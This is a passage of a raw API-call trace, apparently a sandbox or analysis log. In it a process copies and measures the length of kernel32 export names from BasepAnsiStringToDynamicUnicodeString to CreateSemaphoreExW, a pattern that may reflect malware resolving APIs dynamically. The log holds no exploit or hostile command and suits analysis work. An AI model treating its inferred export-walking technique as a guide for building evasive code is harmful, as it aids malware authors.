lpString1=0x2c4f2a0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.523] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.523] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.523] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.523] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.523] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.523] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.523] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.523] lstrlenA (lpString="BEEP") returned 4 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.523] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.523] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.523] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.523] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.523] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.524] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.524] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.524] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.524] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.524] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.524] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.524] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.524] lstrlenA (lpString="CANCELIO") returned 8 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.524] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.524] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.524] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.524] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.524] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.524] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.524] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.524] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.524] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.524] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.525] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.525] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.525] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.525] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.525] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.525] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.525] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.525] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.525] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.525] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.525] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.525] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.525] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.525] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.525] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.525] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.525] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.525] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.525] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.526] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.526] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.526] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.526] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.526] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.526] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.526] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.526] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.526] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.526] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.526] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.526] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.526] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.526] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.526] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.526] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.527] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.527] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.527] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.527] lstrlenA (lpString="COPYFILEA") returned 9 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.527] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.527] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.527] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.527] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.527] lstrlenA (lpString="COPYFILEW") returned 9 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.527] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.527] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.527] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.527] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.527] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.527] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.528] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.528] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.528] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.528] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.528] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.528] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.528] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.528] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.528] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.528] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.528] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.528] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.528] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.528] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.528] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.528] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.528] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.528] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.528] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.529] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.529] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.529] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.529] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.529] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0055.529] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.529] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.529] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.529] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.529] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.529] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.529] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.529] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.529] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.529] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.529] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.529] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.529] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.530] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.530] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.530] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.530] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.530] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.530] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.530] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.530] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.530] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.530] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.530] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.530] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.530] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.530] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.530] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.530] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.530] lstrcpyA 